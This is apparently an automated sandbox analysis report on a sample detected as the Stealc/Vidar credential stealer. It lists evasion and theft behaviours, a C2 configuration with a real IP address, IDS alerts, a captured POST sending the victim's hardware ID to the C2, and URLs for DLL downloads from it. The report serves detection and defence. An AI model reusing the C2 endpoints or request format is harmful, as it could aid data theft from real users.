Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528373
MD5:	978e0f4d5d068cc04a04fa6ce259e4b4
SHA1:	4ff61842d3a66b96b3650116905b32f1d28c39e5
SHA256:	56272fab1d50faf4a8a1acd10311c78c51e3aa7249c00e67637a7e6264c3544f
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6708 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 978E0F4D5D068CC04A04FA6CE259E4B4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1689855003.0000000004B90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2009684418.000000000061E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6708	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6708	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6708	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6708	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.b90000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:19:01.419627+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:19:01.413862+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:19:01.632795+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:19:02.611521+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:19:01.639592+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:19:01.195576+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:19:03.170792+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:13.073024+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:15.929764+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:18.087795+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:19.486152+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:23.497676+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:24.183488+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHIDHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 39 43 32 32 45 33 39 33 37 30 33 33 30 30 34 35 32 34 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="hwid"999C22E39370330045240------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="build"doma------IJKKKFCFHCFIECBGDHID--

Source: file.exe, 00000000.00000002.2009684418.000000000061E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllL
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2009684418.0000000000665000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2009684418.0000000000665000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll7WXa
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll.
Source: file.exe, 00000000.00000002.2009684418.000000000061E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllr
Source: file.exe, 00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2009684418.0000000000665000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2009684418.0000000000665000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php$
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php)
Source: file.exe, 00000000.00000002.2009684418.0000000000665000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php0
Source: file.exe, 00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php2
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpFBFBGHDGDAKECAKJE
Source: file.exe, 00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpFBFBGHDGDAKECAKJEHq:
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpYw
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpmple-storage.json
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpnomi
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpnw
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpser
Source: file.exe, 00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/f
Source: file.exe, 00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/m
Source: file.exe, 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2031548731.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2031181799.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2023573966.000000001D2DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: EHDHIDAE.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028291906.0000000029273000.00000004.00000020.00020000.00000000.sdmp, CGCFBFBGHDGDAKECAKJE.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028291906.0000000029273000.00000004.00000020.00020000.00000000.sdmp, CGCFBFBGHDGDAKECAKJE.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: EHDHIDAE.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: EHDHIDAE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: EHDHIDAE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028291906.0000000029273000.00000004.00000020.00020000.00000000.sdmp, CGCFBFBGHDGDAKECAKJE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028291906.0000000029273000.00000004.00000020.00020000.00000000.sdmp, CGCFBFBGHDGDAKECAKJE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: EHDHIDAE.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: EHDHIDAE.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: EHDHIDAE.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: CGCFBFBGHDGDAKECAKJE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: JJJJEBGDAFHJEBGDGIJDHCAKJK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JJJJEBGDAFHJEBGDGIJDHCAKJK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JJJJEBGDAFHJEBGDGIJDHCAKJK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1805318123.000000001D1DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1805318123.000000001D1DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Visual
Source: file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028291906.0000000029273000.00000004.00000020.00020000.00000000.sdmp, CGCFBFBGHDGDAKECAKJE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: EHDHIDAE.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028291906.0000000029273000.00000004.00000020.00020000.00000000.sdmp, CGCFBFBGHDGDAKECAKJE.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: EHDHIDAE.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: JJJJEBGDAFHJEBGDGIJDHCAKJK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JJJJEBGDAFHJEBGDGIJDHCAKJK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JJJJEBGDAFHJEBGDGIJDHCAKJK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1958595520.00000000294B1000.00000004.00000020.00020000.00000000.sdmp, JJJJEBGDAFHJEBGDGIJDHCAKJK.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
